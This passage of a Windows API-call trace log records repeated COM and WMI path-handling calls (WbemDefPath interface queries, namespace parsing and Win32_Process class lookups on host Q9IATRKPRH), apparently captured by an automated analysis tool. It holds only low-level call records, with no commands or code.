ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0083.430] WbemDefPath:IUnknown:AddRef (This=0x1c02f570) returned 0x3 [0083.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0083.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0083.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c055070) returned 0x0 [0083.430] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055070, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.430] WbemDefPath:IUnknown:Release (This=0x1c055070) returned 0x3 [0083.430] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0083.430] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0083.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0083.430] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x2 [0083.430] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x1 [0083.430] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0083.430] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0083.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c02f570) returned 0x0 [0083.430] WbemDefPath:IUnknown:AddRef (This=0x1c02f570) returned 0x3 [0083.430] WbemDefPath:IUnknown:Release (This=0x1c02f570) returned 0x2 [0083.430] WbemDefPath:IWbemPath:SetText (This=0x1c02f570, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0083.430] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0083.430] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0083.431] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0083.431] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0083.431] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0083.431] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0083.431] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0083.431] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0083.431] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0083.431] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0083.431] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0083.431] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0083.432] IUnknown:Release (This=0x111f638) returned 0x1 [0083.433] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c055210) returned 0x0 [0083.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055210, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0083.433] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055210, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f4b0) returned 0x0 [0083.433] WbemDefPath:IUnknown:Release (This=0x1c055210) returned 0x0 [0083.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f4b0) returned 0x0 [0083.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0083.434] WbemDefPath:IUnknown:AddRef (This=0x1c02f4b0) returned 0x3 [0083.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0083.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0083.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c055250) returned 0x0 [0083.434] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055250, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.434] WbemDefPath:IUnknown:Release (This=0x1c055250) returned 0x3 [0083.434] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0083.434] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0083.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0083.434] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x2 [0083.434] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x1 [0083.434] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0083.434] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0083.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f4b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f4b0) returned 0x0 [0083.434] WbemDefPath:IUnknown:AddRef (This=0x1c02f4b0) returned 0x3 [0083.435] WbemDefPath:IUnknown:Release (This=0x1c02f4b0) returned 0x2 [0083.435] WbemDefPath:IWbemPath:SetText (This=0x1c02f4b0, uMode=0x4, pszPath="") returned 0x0 [0083.435] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0083.435] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0083.435] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0083.435] IUnknown:Release (This=0x111f638) returned 0x1 [0083.436] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c055210) returned 0x0 [0083.436] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055210, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0083.437] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055210, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f3f0) returned 0x0 [0083.437] WbemDefPath:IUnknown:Release (This=0x1c055210) returned 0x0 [0083.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f3f0) returned 0x0 [0083.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0083.437] WbemDefPath:IUnknown:AddRef (This=0x1c02f3f0) returned 0x3 [0083.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0083.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0083.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c055290) returned 0x0 [0083.437] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055290, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.437] WbemDefPath:IUnknown:Release (This=0x1c055290) returned 0x3 [0083.437] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0083.437] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0083.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0083.437] WbemDefPath:IUnknown:Release (This=0x1c02f3f0) returned 0x2 [0083.437] WbemDefPath:IUnknown:Release (This=0x1c02f3f0) returned 0x1 [0083.437] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0083.438] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0083.438] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f3f0) returned 0x0 [0083.438] WbemDefPath:IUnknown:AddRef (This=0x1c02f3f0) returned 0x3 [0083.438] WbemDefPath:IUnknown:Release (This=0x1c02f3f0) returned 0x2 [0083.438] WbemDefPath:IWbemPath:SetText (This=0x1c02f3f0, uMode=0x4, pszPath="") returned 0x0 [0083.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f3f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0083.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f4b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0083.438] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02f3f0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0083.438] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02f3f0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0083.438] WbemDefPath:IWbemPath:SetServer (This=0x1c02f3f0, Name="Q9IATRKPRH") returned 0x0 [0083.438] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0083.438] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0083.438] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0083.438] IUnknown:Release (This=0x111f638) returned 0x1 [0083.440] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0552b0) returned 0x0 [0083.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0552b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0083.440] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0552b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f330) returned 0x0 [0083.440] WbemDefPath:IUnknown:Release (This=0x1c0552b0) returned 0x0 [0083.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f330) returned 0x0 [0083.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0083.440] WbemDefPath:IUnknown:AddRef (This=0x1c02f330) returned 0x3 [0083.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0083.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0083.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0552f0) returned 0x0 [0083.440] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0552f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.440] WbemDefPath:IUnknown:Release (This=0x1c0552f0) returned 0x3 [0083.440] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0083.441] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0083.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0083.441] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x2 [0083.441] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x1 [0083.441] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0083.441] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0083.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02f330) returned 0x0 [0083.441] WbemDefPath:IUnknown:AddRef (This=0x1c02f330) returned 0x3 [0083.441] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x2 [0083.441] WbemDefPath:IWbemPath:SetText (This=0x1c02f330, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f3f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f330, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f330, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f330, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0083.441] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02f3f0) returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f330, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f330, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f330, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0083.441] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02f3f0, uIndex=0x0, pszName="ROOT") returned 0x0 [0083.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02f330, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | 